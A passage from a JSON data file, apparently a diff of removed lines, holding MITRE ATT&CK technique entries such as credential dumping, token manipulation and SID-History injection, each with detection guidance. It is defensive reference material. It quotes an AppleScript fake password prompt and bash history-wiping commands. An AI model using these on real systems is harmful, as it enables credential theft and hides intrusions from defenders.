"http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.90.8832&rep=rep1&type=pdf", - "http://virtualization.info/en/news/2006/08/debunking-blue-pill-myth.html" - ], - "mitre_data_sources": [ - "System calls" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "4be89c7c-ace6-4876-9377-c8d54cef3d63" - }, - { - "description": "Credential dumping is the process of obtaining account login and password information from the operating system and software. Credentials can be used to perform Lateral Movement and access restricted information.\n\nTools may dump credentials in many different ways: extracting credential hashes for offline cracking, extracting plaintext passwords, and extracting Kerberos tickets, among others. Examples of credential dumpers include pwdump7, Windows Credential Editor, Mimikatz, and gsecdump. These tools are in use by both professional security testers and adversaries.\n\nPlaintext passwords can be obtained using tools such as Mimikatz to extract passwords stored by the Local Security Authority (LSA). If smart cards are used to authenticate to a domain using a personal identification number (PIN), then that PIN is also cached as a result and may be dumped. (Citation: Github Mimikatz Module sekurlsa)\n\nDCSync is a variation on credential dumping which can be used to acquire sensitive information from a domain controller. Rather than executing recognizable malicious code, the action works by abusing the domain controller's application programming interface (API) (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller. Any members of the Administrators, Domain Admins, Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data (Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a Golden Ticket for use in Pass the Ticket (Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in Account Manipulation. (Citation: InsiderThreat ChangeNTLM July 2017) DCSync functionality has been included in the \"lsadump\" module in Mimikatz. (Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol. (Citation: Microsoft NRPC Dec 2017)\n\nDetection: Common credential dumpers such as Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective Process Injection to reduce potential indicators of malicious activity.\n\nNTLM hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised Valid Accounts in-use by adversaries may help as well. \n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nMonitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)\n\nPlatforms: Windows\n\nData Sources: API monitoring, Process command-line parameters, Process monitoring, PowerShell logs\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Vincent Le Toux", - "value": "Credential Dumping - T1003", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1003", - "https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa", - "https://github.com/mattifestation/PowerSploit", - "https://adsecurity.org/?p=1729", - "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/", - "https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump", - "https://msdn.microsoft.com/library/cc228086.aspx", - "https://msdn.microsoft.com/library/dd207691.aspx", - "https://wiki.samba.org/index.php/DRSUAPI", - "https://source.winehq.org/WineAPI/samlib.html", - "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM", - "https://msdn.microsoft.com/library/cc237008.aspx", - "https://msdn.microsoft.com/library/cc245496.aspx" - ], - "mitre_data_sources": [ - "API monitoring", - "Process command-line parameters", - "Process monitoring", - "PowerShell logs" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" - }, - { - "description": "Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware, Scripting, PowerShell, or by using utilities present on the system.\n\nOne such example is use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia)\n\nDetection: Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as certutil.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nDefense Bypassed: Anti-virus, Host intrusion prevention systems, Signature-based detection, Network intrusion detection system\n\nPermissions Required: User\n\nContributors: Matthew Demaske, Adaptforward", - "value": "Deobfuscate/Decode Files or Information - T1140", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1140", - "https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/" - ], - "mitre_data_sources": [ - "File monitoring", - "Process Monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c" - }, - { - "description": "The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". HISTCONTROL can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.\n\nDetection: Correlating a user session with a distinct lack of new commands in their .bash_history can be a clue to suspicious behavior. Additionally, users checking or changing their HISTCONTROL environment variable is also suspicious.\n\nPlatforms: Linux, macOS\n\nData Sources: Process Monitoring, Authentication logs, File monitoring, Environment variable\n\nDefense Bypassed: Log analysis, Host forensic analysis\n\nPermissions Required: User", - "value": "HISTCONTROL - T1148", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1148" - ], - "mitre_data_sources": [ - "Process Monitoring", - "Authentication logs", - "File monitoring", - "Environment variable" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ] - }, - "uuid": "086952c4-5b90-4185-b573-02bad8e11953" - }, - { - "description": "The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID)-History Attribute, allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nAdversaries may use this mechanism for privilege escalation. With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as Remote Services, Windows Admin Shares, or Windows Remote Management.\n\nDetection: Examine data in user’s SID-History attributes using the PowerShell Get-ADUser Cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015)\n\nMonitor Account Management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory)\n\nMonitor Windows API calls to the DsAddSidHistory function. (Citation: Microsoft DsAddSidHistory)\n\nPlatforms: Windows\n\nData Sources: API monitoring, Authentication logs, Windows event logs\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Vincent Le Toux", - "value": "SID-History Injection - T1178", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1178", - "https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx", - "https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems", - "https://technet.microsoft.com/library/ee617241.aspx", - "https://adsecurity.org/?p=1772", - "https://msdn.microsoft.com/library/ms677982.aspx" - ], - "mitre_data_sources": [ - "API monitoring", - "Authentication logs", - "Windows event logs" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "1df0326d-2fbc-4d08-a16b-48365f1e742d" - }, - { - "description": "Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system.\n\nPopular websites and social media can act as a mechanism for command and control and give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nDetection: Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Host network interface, Netflow/Enclave netflow, Network protocol analysis, Packet capture\n\nPermissions Required: User\n\nRequires Network: Yes", - "value": "Web Service - T1102", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1102", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" - ], - "mitre_data_sources": [ - "Host network interface", - "Netflow/Enclave netflow", - "Network protocol analysis", - "Packet capture" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "830c9528-df21-472c-8c14-a036bf17d665" - }, - { - "description": "Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.\n\nThe Registry contains a significant amount of information about the operating system, configuration, software, and security. (Citation: Wikipedia Windows Registry) Some of the information may help adversaries to further their operation within a network.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nInteraction with the Windows Registry may come from the command line using utilities such as Reg or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, Process monitoring, Process command-line parameters\n\nPermissions Required: User, Administrator, SYSTEM", - "value": "Query Registry - T1012", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1012", - "https://en.wikipedia.org/wiki/Windows%20Registry" - ], - "mitre_data_sources": [ - "Windows Registry", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896" - }, - { - "description": "Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, VNC, HBSS, Altiris, etc.). If an adversary gains access to these systems, then they may be able to execute code.\n\nAdversaries may gain access to and use third-party application deployment systems installed within an enterprise network. Access to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.\n\nDetection: Detection methods will vary depending on the type of third-party software or system and how it is typically used. \n\nThe same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems. \n\nOften these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious.\n\nPerform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Binary file metadata, File monitoring, Process monitoring, Process use of network, Third-party application logs, Windows Registry\n\nPermissions Required: Administrator, SYSTEM, User\n\nRemote Support: Yes", - "value": "Third-party Software - T1072", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1072" - ], - "mitre_data_sources": [ - "Binary file metadata", - "File monitoring", - "Process monitoring", - "Process use of network", - "Third-party application logs", - "Windows Registry" - ], - "mitre_platforms": [ - "Linux", - "Windows", - "macOS" - ] - }, - "uuid": "92a78814-b191-47ca-909c-1ccfe3777414" - }, - { - "description": "Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.\n\nAdversaries may also copy files laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with Windows Admin Shares or Remote Desktop Protocol.\n\nDetection: Monitor for file creation and files transferred within a network over SMB. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Packet capture, Process use of network, Netflow/Enclave netflow, Network protocol analysis, Process monitoring\n\nPermissions Required: User\n\nRequires Network: Yes", - "value": "Remote File Copy - T1105", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1105", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" - ], - "mitre_data_sources": [ - "File monitoring", - "Packet capture", - "Process use of network", - "Netflow/Enclave netflow", - "Network protocol analysis", - "Process monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add" - }, - { - "description": "Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)\n\nUtilities, such as NinjaCopy, exist to perform these actions in PowerShell. (Citation: Github PowerSploit Ninjacopy)\n\nDetection: Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy)\n\nMonitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through PowerShell, additional logging of PowerShell scripts is recommended.\n\nPlatforms: Windows\n\nData Sources: API monitoring\n\nDefense Bypassed: File monitoring, File system access controls\n\nPermissions Required: Administrator", - "value": "File System Logical Offsets - T1006", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1006", - "http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin", - "https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1" - ], - "mitre_data_sources": [ - "API monitoring" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "0c8ab3eb-df48-4b9c-ace7-beacaac81cc5" - }, - { - "description": "When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task. Adversaries can mimic this functionality to prompt users for credentials with a normal-looking prompt. This type of prompt can be accomplished with AppleScript:\n\nset thePassword to the text returned of (display dialog \"AdobeUpdater needs permission to check for updates. Please authenticate.\" default answer \"\")\n (Citation: OSX Keydnap malware)\n\nAdversaries can prompt a user for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite. (Citation: OSX Malware Exploits MacKeeper)\n\nDetection: This technique exploits users' tendencies to always supply credentials when prompted, which makes it very difficult to detect. Monitor process execution for unusual programs as well as AppleScript that could be used to prompt users for credentials.\n\nPlatforms: macOS\n\nData Sources: User interface, Process Monitoring\n\nPermissions Required: User", - "value": "Input Prompt - T1141", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1141", - "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/", - "https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html" - ], - "mitre_data_sources": [ - "User interface", - "Process Monitoring" - ], - "mitre_platforms": [ - "macOS" - ] - }, - "uuid": "91ce1ede-107f-4d8b-bf4c-735e8789c94b" - }, - { - "description": "Adversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.\n\nThis mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited.\n\nDetection: Use file and process monitoring to detect when files are written to a Web server by a process that is not the normal Web server process or when files are written outside of normal administrative time periods. Use process monitoring to identify normal processes that run on the Web server and detect processes that are not typically executed.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process monitoring\n\nSystem Requirements: Shared webroot directory on remote system", - "value": "Shared Webroot - T1051", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1051" - ], - "mitre_data_sources": [ - "File monitoring", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "804c042c-cfe6-449e-bc1a-ba0a998a70db" - }, - { - "description": "An adversary may attempt to block indicators or events from leaving the host machine. In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process or creating a host-based firewall rule to block traffic to a specific server.\n\nDetection: Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data.\n\nDepending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked.\n\nPlatforms: Windows\n\nData Sources: Sensor health and status, Process command-line parameters, Process monitoring\n\nDefense Bypassed: Anti-virus, Log analysis, Host intrusion prevention systems", - "value": "Indicator Blocking - T1054", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1054" - ], - "mitre_data_sources": [ - "Sensor health and status", - "Process command-line parameters", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df" - }, - { - "description": "In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.\n\nDetection: Monitor file access on removable media. Detect processes that execute when removable media are mounted.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Data loss prevention, File monitoring\n\nSystem Requirements: Presence of physical medium or device\n\nRequires Network: No", - "value": "Exfiltration Over Physical Medium - T1052", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1052" - ], - "mitre_data_sources": [ - "Data loss prevention", - "File monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "e6415f09-df0e-48de-9aba-928c902b7549" - }, - { - "description": "Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token. For example, Microsoft promotes the use of access tokens as a security best practice. Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command runas. (Citation: Microsoft runas)\n \nAdversaries may use access tokens to operate under a different user or system security context to perform actions and evade detection. An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system. (Citation: Pentestlab Token Manipulation)\n\nAccess tokens can be leveraged by adversaries through three methods: (Citation: BlackHat Atkinson Winchester Token Manipulation)\n\n'''Token Impersonation/Theft''' - An adversary creates a new access token that duplicates an existing token using DuplicateToken(Ex). The token can then be used with ImpersonateLoggedOnUser to allow the calling thread to impersonate a logged on user's security context, or with SetThreadToken to assign the impersonated token to a thread. This is useful for when the target user has a non-network logon session on the system.\n\n'''Create Process with a Token''' - An adversary creates a new access token with DuplicateToken(Ex) and uses it with CreateProcessWithTokenW to create a new process running under the security context of the impersonated user. This is useful for creating a new process under the security context of a different user.\n\n'''Make and Impersonate Token''' - An adversary has a username and password but the user is not logged onto the system. The adversary can then create a logon session for the user using the LogonUser function. The function will return a copy of the new session's access token and the adversary can use SetThreadToken to assign the token to a thread.\n\nAny standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account.\n\nMetasploit’s Meterpreter payload allows arbitrary token manipulation and uses token impersonation to escalate privileges. (Citation: Metasploit access token) The Cobalt Strike beacon payload allows arbitrary token impersonation and can also create tokens. (Citation: Cobalt Strike Access Token)\n\nDetection: If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows. (Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. \n\nThere are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., LogonUser (Citation: Microsoft LogonUser), DuplicateTokenEx (Citation: Microsoft DuplicateTokenEx), and ImpersonateLoggedOnUser (Citation: Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API pages for more information.\n\nQuery systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account. (Citation: BlackHat Atkinson Winchester Token Manipulation)\n\nPlatforms: Windows\n\nData Sources: API monitoring, Access Tokens\n\nEffective Permissions: SYSTEM\n\nPermissions Required: User, Administrator\n\nContributors: Tom Ueltschi @c_APT_ure, Travis Smith, Tripwire, Jared Atkinson, @jaredcatkinson, Robby Winchester, @robwinchester3", - "value": "Access Token Manipulation - T1134", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1134", - "https://technet.microsoft.com/en-us/library/bb490994.aspx", - "https://pentestlab.blog/2017/04/03/token-manipulation/", - "https://www.offensive-security.com/metasploit-unleashed/fun-incognito/", - "https://blog.cobaltstrike.com/2015/12/16/windows-access-tokens-and-alternate-credentials/", - "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing", - "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx", - "https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx", - "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx", - "https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf" - ], - "mitre_data_sources": [ - "API monitoring", - "Access Tokens" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48" - }, - { - "description": "The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service)\n\nAn adversary may gather the system time and/or time zone from a local or remote system. This information may be gathered in a number of ways, such as with Net on Windows by performing net time \\\\hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz. (Citation: Technet Windows Time Service) The information could be useful for performing other techniques, such as executing a file with a Scheduled Task (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting.\n\nDetection: Command-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters, API monitoring\n\nPermissions Required: User", - "value": "System Time Discovery - T1124", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1124", - "https://msdn.microsoft.com/ms724961.aspx", - "https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings", - "https://www.rsaconference.com/writable/presentations/file%20upload/ht-209%20rivner%20schwartz.pdf" - ], - "mitre_data_sources": [ - "Process monitoring", - "Process command-line parameters", - "API monitoring" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077" - }, - { - "description": "macOS and Linux both keep track of the commands users type in their terminal so that users can easily remember what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as unset HISTFILE, export HISTFILESIZE=0, history -c, rm ~/.bash_history.\n\nDetection: User authentication, especially via remote terminal services like SSH, without new entries in that user's ~/.bash_history is suspicious. Additionally, the modification of the HISTFILE and HISTFILESIZE environment variables or the removal/clearing of the ~/.bash_history file are indicators of suspicious activity.\n\nPlatforms: Linux, macOS\n\nData Sources: Authentication logs, File monitoring\n\nDefense Bypassed: Log analysis, Host forensic analysis\n\nPermissions Required: User", - "value": "Clear Command History - T1146", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1146" - ], - "mitre_data_sources": [ - "Authentication logs", - "File monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ] - }, - "uuid": "d3046a90-580c-4004-8208-66915bc29830" - }, - { - "description": "The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like CreateProcess(), LoadLibrary(), etc. of the Win32 API. (Citation: Wikipedia Windows Library Files)\n\nThe module loader can load DLLs:\n\n*via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;\n \n*via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);\n \n*via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;\n \n*via in an embedded or external \"application manifest\". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.\n\nAdversaries can use this functionality as a way to execute arbitrary code on a system.\n\nDetection: Monitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to %SystemRoot% and %ProgramFiles% directories will protect against module loads from unsafe paths. \n\nCorrelation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior.\n\nPlatforms: Windows\n\nData Sources: Process Monitoring, API monitoring, File monitoring, DLL monitoring\n\nPermissions Required: User\n\nContributors: Stefan Kanthak", - "value": "Execution through Module Load - T1129", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1129", - "https://en.wikipedia.org/wiki/Microsoft%20Windows%20library%20files" - ], - "mitre_data_sources": [ - "Process Monitoring", - "API monitoring", - "File monitoring", - "DLL monitoring" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "0a5231ec-41af-4a35-83d0-6bdf11f28c65" - }, - { - "description": "Secure Shell (SSH) is a standard means of remote access on Linux and Mac systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.\n\nIn order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial. (Citation: Slideshare Abusing SSH) (Citation: SSHjack Blackhat) (Citation: Clockwork SSH Agent Hijacking) Compromising the SSH agent also provides access to intercept SSH credentials. (Citation: Welivesecurity Ebury SSH)\n\nSSH Hijacking differs from use of Remote Services because it injects into an existing SSH session rather than creating a new session using Valid Accounts.\n\nDetection: Use of SSH may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. Also monitor user SSH-agent socket files being used by different users.\n\nPlatforms: Linux, macOS\n\nData Sources: Authentication logs\n\nPermissions Required: User, root\n\nSystem Requirements: SSH service enabled, trust relationships configured, established connections\n\nContributors: 